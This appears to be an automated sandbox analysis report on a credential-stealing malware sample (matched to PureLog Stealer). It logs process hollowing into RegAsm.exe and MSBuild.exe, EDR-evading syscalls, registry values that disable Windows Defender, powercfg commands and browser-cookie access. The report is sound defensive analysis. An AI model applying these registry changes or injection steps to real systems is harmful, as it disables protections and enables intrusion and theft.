Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior

Disables Windows Defender (deletes autostart)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x140FC862F	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtOpenFile: Direct from: 0x140FBB569	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	NtQueryInformationProcess: Indirect: 0x140709D98	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x141036FB5	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x140FBCAC6	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Indirect: 0x140F595B5	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	NtQueryInformationProcess: Indirect: 0x140709EFC	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	NtQuerySystemInformation: Indirect: 0x1406A6F26	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtMapViewOfSection: Direct from: 0x14100CB88	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x141699636	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x140F63C2D	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x141019C6D	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	NtSetInformationThread: Indirect: 0x140703B4B	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x1416E67B3	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x1416AD85D	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe

Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base address: 400000

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 420000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 101C008	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 456000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 48E000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: ECE008	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 9F3008	Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2724 -ip 2724
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2724 -s 316
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003119000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: GetProgmanWindow
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003119000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SetProgmanWindow

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe

Code function: 10_2_00D07400 cpuid

10_2_00D07400

Contains functionality to query locales information (e.g. system language)

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	10_2_00CF727D
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: EnumSystemLocalesW,	10_2_00CEF3E2
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: EnumSystemLocalesW,	10_2_00CF756A
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: EnumSystemLocalesW,	10_2_00CF751F
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_2_00CF7690
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: EnumSystemLocalesW,	10_2_00CF7605
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetLocaleInfoW,	10_2_00CF78E3
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetLocaleInfoW,	10_2_00CEF908
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_00CF7A0C
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_00CF7BE1
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetLocaleInfoW,	10_2_00CF7B12

Queries information about the installed CPU (vendor, model number etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Queries volume information: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation

Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe

Code function: 7_2_004DC84D GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

7_2_004DC84D

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1

Exclude list of file types from scheduled, custom, and real-time scanning

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Registry value created: Exclusions_Extensions 1			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry value created: Exclusions_Extensions 1

Modifies Group Policy settings

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

AV process strings found (often used to terminate AV products)

Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000159A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 33.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.cWSgbiiWuHkrGD6e9Bvvb03z.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.2826325631.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2931931967.0000000003DD8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
